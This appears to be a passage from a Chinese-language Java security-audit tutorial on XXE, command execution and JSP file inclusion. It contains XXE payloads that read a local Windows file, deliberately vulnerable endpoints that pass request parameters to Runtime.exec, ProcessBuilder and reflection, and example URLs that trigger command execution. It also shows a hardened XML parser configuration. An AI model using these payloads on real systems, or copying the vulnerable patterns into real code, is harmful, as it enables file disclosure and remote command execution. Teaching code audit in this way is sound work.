修复我们看一下代码二,在看一下修复之后报错的图(图一),关键字:
java.beans.XMLDecoder
oracle.xml.parser.v2.XMLParser
org.xml.sax.XMLReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
org.dom4j.io.SAXReader
org.dom4j.DocumentHelper
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
javax.xml.parsers.SAXParser
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
@RequestMapping("/XXE")
public String xxe(HttpServletRequest request) throws Exception {
ServletInputStream inputStream = request.getInputStream();
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder = factory.newDocumentBuilder();
InputSource inputSource = new InputSource(inputStream);
Document parse = documentBuilder.parse(inputSource);
return parse.getDocumentElement().getTextContent();
}
payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "netdoc:///C:/windows/win.ini" >]>
<value>&xxe;</value>
@RequestMapping("/XXE")
public String xxe(HttpServletRequest request) throws Exception {
ServletInputStream inputStream = request.getInputStream();
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
DocumentBuilder documentBuilder = factory.newDocumentBuilder();
InputSource inputSource = new InputSource(inputStream);
Document parse = documentBuilder.parse(inputSource);
return parse.getDocumentElement().getTextContent();
}
八:命令执行
命令执行在我们审计的时候最为重要,下面我们仔细讲解一下java的命令执行,java中能执行命令的方法也不算少,下面我会把下面几种方式都写一次代码一,关键字:
Runtime
ProcessBuilder
ProcessImpl
UNIXProcess
反射
@RequestMapping("/commd")
public String commd(HttpServletRequest request) throws Exception{
//Runtime进行命令执行
String name1 = request.getParameter("cmd1");
Runtime.getRuntime().exec(name1);
//Process进行命令执行
String name2 = request.getParameter("cmd2");
Process start = new ProcessBuilder(name2).start();
start.waitFor();
//Runitme反射执行命令
String aclass = request.getParameter("class");
String getRuntime = request.getParameter("getRuntime");
String exec = request.getParameter("exec");
String name3 = request.getParameter("name3");
//反射调用
Class<?> aClass = Class.forName(aclass);
//获取方法getRuntime进行拿到实例
Method declaredMethod = aClass.getDeclaredMethod(getRuntime);
declaredMethod.setAccessible(true);
//获取Runtime实例
Object invoke = declaredMethod.invoke(null);
//获取exec方法
Method declaredMethod1 = aClass.getDeclaredMethod(exec, String.class);
declaredMethod1.setAccessible(true);
//执行命令
Object invoke1 = declaredMethod1.invoke(invoke, name3);
//我上面这个有点抽线了哈,就算存在漏洞也应该是直接拿构造方法。
//processBuilder反射命令执行
String acalss = request.getParameter("class");
String name4 = request.getParameter("name4");
Class<?> aClass = Class.forName(acalss);
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String[].class);
declaredConstructor.setAccessible(true);
ProcessBuilder processBuilder = (ProcessBuilder) declaredConstructor.newInstance((Object) new String[]{"cmd", "/c", name4});
Process start = processBuilder.start();
start.waitFor();
return "命令执行完毕";
}
payload:
Runtime:
http://localhost:8888/commd?class=java.lang.Runtime&getRuntime=getRuntime&exec=exec&name3=mstsc
processBuilder:
http://localhost:8888/commd?class=java.lang.ProcessBuilder&name4=mstsc
九:JSP文件包含
这个也很好玩但是和php相比那就差远了,因为jsp的文件包含只能包含他所在的白名单,并不能下像php那样
任意包含文件,下面是几种包含的例子代码一
//只能包含 JSP/JSPX/Servlet
<jsp:include page='<%=request.getParameter("cmd")%>' />
//能包含 JSP/JSPX/Servlet 并且可以使用file协议但是只能进行文件读取
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<c:import url='<%=request.getParameter("cmd")%>'></c:import>
//只能包含 JSP/JSPX/Servlet
<jsp:forward page='<%=request.getParameter("cmd")%>'></jsp:forward>
//只能包含 JSP/JSPX/Servlet
<%String url= request.getParameter("url");%>
<% request.getRequestDispatcher(url).include(request,response); %>
//只能包含 JSP/JSPX/Servlet
<%String url= request.getParameter("url");%>
<% request.getRequestDispatcher(url).forward(request, response); %>
后面我会时常更新。